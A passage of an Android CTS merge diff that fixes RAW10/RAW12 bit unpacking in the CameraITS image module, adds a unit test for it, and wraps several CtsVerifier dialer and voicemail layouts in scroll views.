Merge "Fix CtsMediaHostTestCases" into oc-mr1-dev
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index d47a995..24b48bb 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -16,16 +16,14 @@
 matplotlib.use('Agg')
 
 import its.error
-from matplotlib import pylab
 import sys
 from PIL import Image
 import numpy
 import math
 import unittest
 import cStringIO
-import scipy.stats
 import copy
-import os
+import random
 
 DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([
                                 [1.000,  0.000,  1.402],
@@ -86,6 +84,7 @@
     else:
         raise its.error.Error('Invalid format %s' % (cap["format"]))
 
+
 def unpack_rawstats_capture(cap):
     """Unpack a rawStats capture to the mean and variance images.
 
@@ -105,6 +104,7 @@
     var_image = analysis_image[1,:,:,:].reshape(h,w,4)
     return mean_image, var_image
 
+
 def unpack_raw10_capture(cap, props):
     """Unpack a raw-10 capture to a raw-16 capture.
 
@@ -125,6 +125,7 @@
     cap["format"] = "raw"
     return cap
 
+
 def unpack_raw10_image(img):
     """Unpack a raw-10 image to a raw-16 image.
 
@@ -150,11 +151,14 @@
     lsbs = img[::, 4::5].reshape(h,w/4)
     lsbs = numpy.right_shift(
             numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/4,4,2),3), 6)
+    # Pair the LSB bits group to pixel 0 instead of pixel 3
+    lsbs = lsbs.reshape(h,w/4,4)[:,:,::-1]
     lsbs = lsbs.reshape(h,w)
     # Fuse the MSBs and LSBs back together
     img16 = numpy.bitwise_or(msbs, lsbs).reshape(h,w)
     return img16
 
+
 def unpack_raw12_capture(cap, props):
     """Unpack a raw-12 capture to a raw-16 capture.
 
@@ -175,6 +179,7 @@
     cap["format"] = "raw"
     return cap
 
+
 def unpack_raw12_image(img):
     """Unpack a raw-12 image to a raw-16 image.
 
@@ -200,11 +205,14 @@
     lsbs = img[::, 2::3].reshape(h,w/2)
     lsbs = numpy.right_shift(
             numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/2,2,4),3), 4)
+    # Pair the LSB bits group to pixel 0 instead of pixel 1
+    lsbs = lsbs.reshape(h,w/2,2)[:,:,::-1]
     lsbs = lsbs.reshape(h,w)
     # Fuse the MSBs and LSBs back together
     img16 = numpy.bitwise_or(msbs, lsbs).reshape(h,w)
     return img16
 
+
 def convert_capture_to_planes(cap, props=None):
     """Convert a captured image object to separate image planes.
 
@@ -303,6 +311,7 @@
     else:
         raise its.error.Error('Invalid format %s' % (cap["format"]))
 
+
 def get_canonical_cfa_order(props):
     """Returns a mapping from the Bayer 2x2 top-left grid in the CFA to
     the standard order R,Gr,Gb,B.
@@ -333,6 +342,7 @@
     else:
         raise its.error.Error("Not supported")
 
+
 def get_gains_in_canonical_order(props, gains):
     """Reorders the gains tuple to the canonical R,Gr,Gb,B order.
 
@@ -353,6 +363,7 @@
     else:
         raise its.error.Error("Not supported")
 
+
 def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane,
                              props, cap_res):
     """Convert a Bayer raw-16 image to an RGB image.
@@ -402,6 +413,7 @@
     img = numpy.dot(img.reshape(w*h,3), ccm.T).reshape(h,w,3).clip(0.0,1.0)
     return img
 
+
 def get_black_level(chan, props, cap_res):
     """Return the black level to use for a given capture.
 
@@ -425,6 +437,7 @@
     ordered_black_levels = [black_levels[i] for i in idxs]
     return ordered_black_levels[chan]
 
+
 def convert_yuv420_planar_to_rgb_image(y_plane, u_plane, v_plane,
                                        w, h,
                                        ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
@@ -456,6 +469,7 @@
     rgb.reshape(w*h*3)[:] = flt.reshape(w*h*3)[:]
     return rgb.astype(numpy.float32) / 255.0
 
+
 def load_rgb_image(fname):
     """Load a standard image file (JPG, PNG, etc.).
 
@@ -478,6 +492,7 @@
     else:
         raise its.error.Error('Unsupported image type')
 
+
 def load_yuv420_to_rgb_image(yuv_fname,
                              w, h,
                              layout="planar",
@@ -517,6 +532,7 @@
         return convert_yuv420_planar_to_rgb_image(
                 y,u,v,w,h,ccm_yuv_to_rgb,yuv_off)
 
+
 def load_yuv420_planar_to_yuv_planes(yuv_fname, w, h):
     """Load a YUV420 planar image file, and return Y, U, and V plane images.
 
@@ -539,6 +555,7 @@
                 (u.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1),
                 (v.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1))
 
+
 def decompress_jpeg_to_rgb_image(jpeg_buffer):
     """Decompress a JPEG-compressed image, returning as an RGB image.
 
@@ -553,6 +570,7 @@
     h = img.size[1]
     return numpy.array(img).reshape(h,w,3) / 255.0
 
+
 def apply_lut_to_image(img, lut):
     """Applies a LUT to every pixel in a float image array.
 
@@ -586,6 +604,7 @@
     m = float(n-1)
     return (lut[(img * m).astype(numpy.uint16)] / m).astype(numpy.float32)
 
+
 def apply_matrix_to_image(img, mat):
     """Multiplies a 3x3 matrix with each float-3 image pixel.
 
@@ -610,6 +629,7 @@
                              ).reshape(w*h*3)[:]
     return img2
 
+
 def get_image_patch(img, xnorm, ynorm, wnorm, hnorm):
     """Get a patch (tile) of an image.
 
@@ -628,6 +648,7 @@
     htile = math.floor(hnorm * hfull)
     return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
 
+
 def compute_image_means(img):
     """Calculate the mean of each color channel in the image.
 
@@ -643,6 +664,7 @@
         means.append(numpy.mean(img[:,:,i], dtype=numpy.float64))
     return means
 
+
 def compute_image_variances(img):
     """Calculate the variance of each color channel in the image.
 
@@ -658,6 +680,7 @@
         variances.append(numpy.var(img[:,:,i], dtype=numpy.float64))
     return variances
 
+
 def compute_image_snrs(img):
     """Calculate the SNR (db) of each color channel in the image.
 
@@ -673,6 +696,7 @@
     snr = [20 * math.log10(m/s) for m,s in zip(means, std_devs)]
     return snr
 
+
 def write_image(img, fname, apply_gamma=False):
     """Save a float-3 numpy array image to a file.
 
@@ -701,6 +725,7 @@
     else:
         raise its.error.Error('Unsupported image type')
 
+
 def downscale_image(img, f):
     """Shrink an image by a given integer factor.
 
@@ -842,5 +867,40 @@
         passed = all([math.fabs(y[i] - y_ref[i]) < 0.001 for i in xrange(3)])
         self.assertTrue(passed)
 
-if __name__ == '__main__':
+    def test_unpack_raw10_image(self):
+        """Unit test for unpack_raw10_image.
+
+        RAW10 bit packing format
+                bit 7   bit 6   bit 5   bit 4   bit 3   bit 2   bit 1   bit 0
+        Byte 0: P0[9]   P0[8]   P0[7]   P0[6]   P0[5]   P0[4]   P0[3]   P0[2]
+        Byte 1: P1[9]   P1[8]   P1[7]   P1[6]   P1[5]   P1[4]   P1[3]   P1[2]
+        Byte 2: P2[9]   P2[8]   P2[7]   P2[6]   P2[5]   P2[4]   P2[3]   P2[2]
+        Byte 3: P3[9]   P3[8]   P3[7]   P3[6]   P3[5]   P3[4]   P3[3]   P3[2]
+        Byte 4: P3[1]   P3[0]   P2[1]   P2[0]   P1[1]   P1[0]   P0[1]   P0[0]
+        """
+        # test by using a random 4x4 10-bit image
+        H = 4
+        W = 4
+        check_list = random.sample(range(0, 1024), H*W)
+        img_check = numpy.array(check_list).reshape(H, W)
+        # pack bits
+        for row_start in range(0, len(check_list), W):
+            msbs = []
+            lsbs = ""
+            for pixel in range(W):
+                val = numpy.binary_repr(check_list[row_start+pixel], 10)
+                msbs.append(int(val[:8], base=2))
+                lsbs = val[8:] + lsbs
+            packed = msbs
+            packed.append(int(lsbs, base=2))
+            chunk_raw10 = numpy.array(packed, dtype="uint8").reshape(1, 5)
+            if row_start == 0:
+                img_raw10 = chunk_raw10
+            else:
+                img_raw10 = numpy.vstack((img_raw10, chunk_raw10))
+        # unpack and check against original
+        self.assertTrue(numpy.array_equal(unpack_raw10_image(img_raw10),
+                                          img_check))
+
+if __name__ == "__main__":
     unittest.main()
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 53ea903..7d76f3b 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2081,6 +2081,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_other" />
             <meta-data android:name="test_required_features"
                     android:value="android.software.app_widgets" />
+            <meta-data android:name="test_excluded_features"
+                    android:value="android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".deskclock.DeskClockTestsActivity"
diff --git a/apps/CtsVerifier/res/layout/dialer_hun_on_incoming.xml b/apps/CtsVerifier/res/layout/dialer_hun_on_incoming.xml
index 9082c3c..48b225a 100644
--- a/apps/CtsVerifier/res/layout/dialer_hun_on_incoming.xml
+++ b/apps/CtsVerifier/res/layout/dialer_hun_on_incoming.xml
@@ -13,88 +13,93 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
-    android:orientation="vertical">
-  <TextView
+    style="@style/RootLayoutPadding">
+  <LinearLayout
       android:layout_width="match_parent"
-      android:layout_height="wrap_content"
-      android:text="@string/dialer_shows_hun_test"/>
-
-  <LinearLayout
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:layout_marginTop="@dimen/js_padding"
-      android:layout_marginBottom="@dimen/js_padding">
-    <ImageView
-        android:id="@+id/set_default_dialer_image"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_marginRight="@dimen/js_padding"
-        android:src="@drawable/fs_indeterminate"/>
+      android:layout_height="match_parent"
+      android:orientation="vertical">
     <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_shows_hun_test"/>
+
+    <LinearLayout
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/dialer_shows_hun_test_instructions"
-        android:textSize="16dp"/>
-  </LinearLayout>
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+      <ImageView
+          android:id="@+id/set_default_dialer_image"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:layout_marginRight="@dimen/js_padding"
+          android:src="@drawable/fs_indeterminate"/>
+      <TextView
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="@string/dialer_shows_hun_test_instructions"
+          android:textSize="16dp"/>
+    </LinearLayout>
 
-  <Button
-      android:id="@+id/set_default_dialer"
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:text="@string/voicemail_set_default_dialer_button"/>
-
-  <LinearLayout
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:layout_marginTop="@dimen/js_padding"
-      android:layout_marginBottom="@dimen/js_padding">
-    <TextView
-        android:id="@+id/dialer_shows_hun_explanation"
+    <Button
+        android:id="@+id/set_default_dialer"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/dialer_shows_hun_explanation"
-        android:textSize="16dp"/>
-  </LinearLayout>
+        android:text="@string/voicemail_set_default_dialer_button"/>
 
-  <LinearLayout
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:layout_marginTop="@dimen/js_padding"
-      android:layout_marginBottom="@dimen/js_padding">
-    <CheckBox
-        android:id="@+id/dialer_shows_hun_check_box"
-        android:text="@string/dialer_shows_hun_check_box"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"/>
-  </LinearLayout>
-
-  <LinearLayout
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:layout_marginTop="@dimen/js_padding"
-      android:layout_marginBottom="@dimen/js_padding">
-    <ImageView
-        android:id="@+id/restore_default_dialer_image"
+    <LinearLayout
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:layout_marginRight="@dimen/js_padding"
-        android:src="@drawable/fs_indeterminate"/>
-    <TextView
-        android:id="@+id/restore_default_dialer_text"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+      <TextView
+          android:id="@+id/dialer_shows_hun_explanation"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="@string/dialer_shows_hun_explanation"
+          android:textSize="16dp"/>
+    </LinearLayout>
+
+    <LinearLayout
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/voicemail_restore_default_dialer_description"
-        android:textSize="16dp"/>
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+      <CheckBox
+          android:id="@+id/dialer_shows_hun_check_box"
+          android:text="@string/dialer_shows_hun_check_box"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"/>
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+      <ImageView
+          android:id="@+id/restore_default_dialer_image"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:layout_marginRight="@dimen/js_padding"
+          android:src="@drawable/fs_indeterminate"/>
+      <TextView
+          android:id="@+id/restore_default_dialer_text"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="@string/voicemail_restore_default_dialer_description"
+          android:textSize="16dp"/>
+    </LinearLayout>
+
+    <Button
+        android:id="@+id/restore_default_dialer"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_restore_default_dialer_button"/>
+
+    <include layout="@layout/pass_fail_buttons"/>
   </LinearLayout>
-
-  <Button
-      android:id="@+id/restore_default_dialer"
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:text="@string/voicemail_restore_default_dialer_button"/>
-
-  <include layout="@layout/pass_fail_buttons"/>
-</LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/dialer_telecom_intents.xml b/apps/CtsVerifier/res/layout/dialer_telecom_intents.xml
index 49bfce2..96d9be6 100644
--- a/apps/CtsVerifier/res/layout/dialer_telecom_intents.xml
+++ b/apps/CtsVerifier/res/layout/dialer_telecom_intents.xml
@@ -14,113 +14,118 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
-    android:orientation="vertical">
-  <TextView
+    style="@style/RootLayoutPadding">
+  <LinearLayout
       android:layout_width="match_parent"
-      android:layout_height="wrap_content"
-      android:text="@string/dialer_telecom_intents_test"/>
-
-  <LinearLayout
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:layout_marginTop="@dimen/js_padding"
-      android:layout_marginBottom="@dimen/js_padding">
-    <ImageView
-        android:id="@+id/set_default_dialer_image"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_marginRight="@dimen/js_padding"
-        android:src="@drawable/fs_indeterminate"/>
+      android:layout_height="match_parent"
+      android:orientation="vertical">
     <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_telecom_intents_test"/>
+
+    <LinearLayout
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/dialer_telecom_intents_test_instructions"
-        android:textSize="16dp"/>
-  </LinearLayout>
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+      <ImageView
+          android:id="@+id/set_default_dialer_image"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:layout_marginRight="@dimen/js_padding"
+          android:src="@drawable/fs_indeterminate"/>
+      <TextView
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="@string/dialer_telecom_intents_test_instructions"
+          android:textSize="16dp"/>
+    </LinearLayout>
 
-  <LinearLayout
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:layout_marginTop="@dimen/js_padding"
-      android:layout_marginBottom="@dimen/js_padding">
-    <TextView
-        android:id="@+id/dialer_check_intents_implemented_explanation"
+    <LinearLayout
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/dialer_check_intents_implemented_explanation"
-        android:textSize="16dp"/>
-  </LinearLayout>
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+      <TextView
+          android:id="@+id/dialer_check_intents_implemented_explanation"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="@string/dialer_check_intents_implemented_explanation"
+          android:textSize="16dp"/>
+    </LinearLayout>
 
-  <LinearLayout
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:layout_marginTop="@dimen/js_padding"
-      android:layout_marginBottom="@dimen/js_padding">
-    <Button
-        android:id="@+id/dialer_telecom_intents_call_settings"
+    <LinearLayout
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/dialer_telecom_intents_call_settings"/>
-    <CheckBox
-        android:id="@+id/dialer_telecom_intents_call_settings_check_box"
-        android:text="@string/dialer_check_intents_check_box"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"/>
-  </LinearLayout>
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+      <Button
+          android:id="@+id/dialer_telecom_intents_call_settings"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="@string/dialer_telecom_intents_call_settings"/>
+      <CheckBox
+          android:id="@+id/dialer_telecom_intents_call_settings_check_box"
+          android:text="@string/dialer_check_intents_check_box"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"/>
+    </LinearLayout>
 
-  <LinearLayout
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:layout_marginTop="@dimen/js_padding"
-      android:layout_marginBottom="@dimen/js_padding">
-    <Button
-        android:id="@+id/dialer_telecom_intents_short_sms"
+    <LinearLayout
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/dialer_telecom_intents_short_sms"/>
-    <CheckBox
-        android:id="@+id/dialer_telecom_intents_short_sms_check_box"
-        android:text="@string/dialer_check_intents_check_box"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"/>
-  </LinearLayout>
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+      <Button
+          android:id="@+id/dialer_telecom_intents_short_sms"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="@string/dialer_telecom_intents_short_sms"/>
+      <CheckBox
+          android:id="@+id/dialer_telecom_intents_short_sms_check_box"
+          android:text="@string/dialer_check_intents_check_box"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"/>
+    </LinearLayout>
 
-  <LinearLayout
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:layout_marginTop="@dimen/js_padding"
-      android:layout_marginBottom="@dimen/js_padding">
-    <Button
-        android:id="@+id/dialer_telecom_intents_calling_accounts"
+    <LinearLayout
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/dialer_telecom_intents_calling_accounts"/>
-    <CheckBox
-        android:id="@+id/dialer_telecom_intents_calling_accounts_check_box"
-        android:text="@string/dialer_check_intents_check_box"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"/>
-  </LinearLayout>
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+      <Button
+          android:id="@+id/dialer_telecom_intents_calling_accounts"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="@string/dialer_telecom_intents_calling_accounts"/>
+      <CheckBox
+          android:id="@+id/dialer_telecom_intents_calling_accounts_check_box"
+          android:text="@string/dialer_check_intents_check_box"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"/>
+    </LinearLayout>
 
-  <LinearLayout
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:layout_marginTop="@dimen/js_padding"
-      android:layout_marginBottom="@dimen/js_padding">
-    <Button
-        android:id="@+id/dialer_telecom_intents_accessibility_settings"
+    <LinearLayout
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/dialer_telecom_intents_accessibility_settings"/>
-    <CheckBox
-        android:id="@+id/dialer_telecom_intents_accessibility_settings_check_box"
-        android:text="@string/dialer_check_intents_check_box"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"/>
-  </LinearLayout>
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+      <Button
+          android:id="@+id/dialer_telecom_intents_accessibility_settings"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="@string/dialer_telecom_intents_accessibility_settings"/>
+      <CheckBox
+          android:id="@+id/dialer_telecom_intents_accessibility_settings_check_box"
+          android:text="@string/dialer_check_intents_check_box"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"/>
+    </LinearLayout>
 
-  <include layout="@layout/pass_fail_buttons"/>
-</LinearLayout>
+    <include layout="@layout/pass_fail_buttons"/>
+  </LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/mtp_host_item.xml b/apps/CtsVerifier/res/layout/mtp_host_item.xml
index 5268809..50c0f43 100644
--- a/apps/CtsVerifier/res/layout/mtp_host_item.xml
+++ b/apps/CtsVerifier/res/layout/mtp_host_item.xml
@@ -41,11 +41,20 @@
         android:layout_toRightOf="@id/status" />
 
     <Button
-        android:id="@+id/next_item_button"
+        android:id="@+id/settings_button"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
         android:layout_below="@id/instructions"
         android:layout_toRightOf="@id/status"
+        android:text="@string/mtp_app_settings"
+        android:visibility="gone" />
+
+    <Button
+        android:id="@+id/next_item_button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_below="@id/instructions"
+        android:layout_toRightOf="@id/settings_button"
         android:text="@string/next_button_text"
         android:visibility="gone" />
 
diff --git a/apps/CtsVerifier/res/layout/visual_voicemail_service.xml b/apps/CtsVerifier/res/layout/visual_voicemail_service.xml
index bbac93b..edcc8b5 100644
--- a/apps/CtsVerifier/res/layout/visual_voicemail_service.xml
+++ b/apps/CtsVerifier/res/layout/visual_voicemail_service.xml
@@ -14,10 +14,14 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
+    android:layout_height="match_parent"
+    style="@style/RootLayoutPadding">
+  <LinearLayout
+      android:layout_width="match_parent"
+      android:layout_height="match_parent"
+      android:orientation="vertical">
     <TextView
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
@@ -149,4 +153,5 @@
         android:text="@string/voicemail_restore_default_dialer_button"/>
 
     <include layout="@layout/pass_fail_buttons" />
-</LinearLayout>
\ No newline at end of file
+  </LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/voicemail_broadcast.xml b/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
index 5ce102a..10ca769 100644
--- a/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
@@ -14,81 +14,86 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-  android:orientation="vertical"
-  android:layout_width="match_parent"
-  android:layout_height="match_parent">
-  <TextView
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="wrap_content"
-    android:text="@string/voicemail_broadcast_instructions"/>
+    android:layout_height="match_parent"
+    style="@style/RootLayoutPadding">
   <LinearLayout
-    android:layout_width="wrap_content"
-    android:layout_height="wrap_content"
-    android:layout_marginTop="@dimen/js_padding"
-    android:layout_marginBottom="@dimen/js_padding">
-    <ImageView
-      android:id="@+id/set_default_dialer_image"
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:src="@drawable/fs_indeterminate"
-      android:layout_marginRight="@dimen/js_padding"/>
+      android:layout_width="match_parent"
+      android:layout_height="match_parent"
+      android:orientation="vertical">
     <TextView
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_broadcast_instructions"/>
+    <LinearLayout
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
-      android:text="@string/voicemail_set_default_dialer_description"
-      android:textSize="16dp"/>
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+      <ImageView
+        android:id="@+id/set_default_dialer_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:src="@drawable/fs_indeterminate"
+        android:layout_marginRight="@dimen/js_padding"/>
+      <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_set_default_dialer_description"
+        android:textSize="16dp"/>
+    </LinearLayout>
+
+    <Button
+      android:id="@+id/set_default_dialer"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_set_default_dialer_button"/>
+
+    <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+      <ImageView
+        android:id="@+id/leave_voicemail_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:src="@drawable/fs_indeterminate"
+        android:layout_marginRight="@dimen/js_padding"/>
+      <TextView
+        android:id="@+id/leave_voicemail_text"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_leave_voicemail"
+        android:textSize="16dp"/>
+    </LinearLayout>
+
+    <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+      <ImageView
+        android:id="@+id/restore_default_dialer_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:src="@drawable/fs_indeterminate"
+        android:layout_marginRight="@dimen/js_padding"/>
+      <TextView
+        android:id="@+id/restore_default_dialer_text"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_restore_default_dialer_description"
+        android:textSize="16dp"/>
+    </LinearLayout>
+
+    <Button
+      android:id="@+id/restore_default_dialer"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_restore_default_dialer_button"/>
+
+    <include layout="@layout/pass_fail_buttons" />
   </LinearLayout>
-
-  <Button
-    android:id="@+id/set_default_dialer"
-    android:layout_width="wrap_content"
-    android:layout_height="wrap_content"
-    android:text="@string/voicemail_set_default_dialer_button"/>
-
-  <LinearLayout
-    android:layout_width="wrap_content"
-    android:layout_height="wrap_content"
-    android:layout_marginTop="@dimen/js_padding"
-    android:layout_marginBottom="@dimen/js_padding">
-    <ImageView
-      android:id="@+id/leave_voicemail_image"
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:src="@drawable/fs_indeterminate"
-      android:layout_marginRight="@dimen/js_padding"/>
-    <TextView
-      android:id="@+id/leave_voicemail_text"
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:text="@string/voicemail_leave_voicemail"
-      android:textSize="16dp"/>
-  </LinearLayout>
-
-  <LinearLayout
-    android:layout_width="wrap_content"
-    android:layout_height="wrap_content"
-    android:layout_marginTop="@dimen/js_padding"
-    android:layout_marginBottom="@dimen/js_padding">
-    <ImageView
-      android:id="@+id/restore_default_dialer_image"
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:src="@drawable/fs_indeterminate"
-      android:layout_marginRight="@dimen/js_padding"/>
-    <TextView
-      android:id="@+id/restore_default_dialer_text"
-      android:layout_width="wrap_content"
-      android:layout_height="wrap_content"
-      android:text="@string/voicemail_restore_default_dialer_description"
-      android:textSize="16dp"/>
-  </LinearLayout>
-
-  <Button
-    android:id="@+id/restore_default_dialer"
-    android:layout_width="wrap_content"
-    android:layout_height="wrap_content"
-    android:text="@string/voicemail_restore_default_dialer_button"/>
-
-  <include layout="@layout/pass_fail_buttons" />
-</LinearLayout>
\ No newline at end of file
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
index e7a832c..eb8b81a 100644
--- a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
@@ -14,10 +14,14 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
+    android:layout_height="match_parent"
+    style="@style/RootLayoutPadding">
+  <LinearLayout
+      android:layout_width="match_parent"
+      android:layout_height="match_parent"
+      android:orientation="vertical">
     <TextView
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
@@ -102,4 +106,5 @@
         android:text="@string/voicemail_restore_default_dialer_button"/>
 
     <include layout="@layout/pass_fail_buttons"/>
-</LinearLayout>
\ No newline at end of file
+  </LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
index 56b815c..ea11314 100644
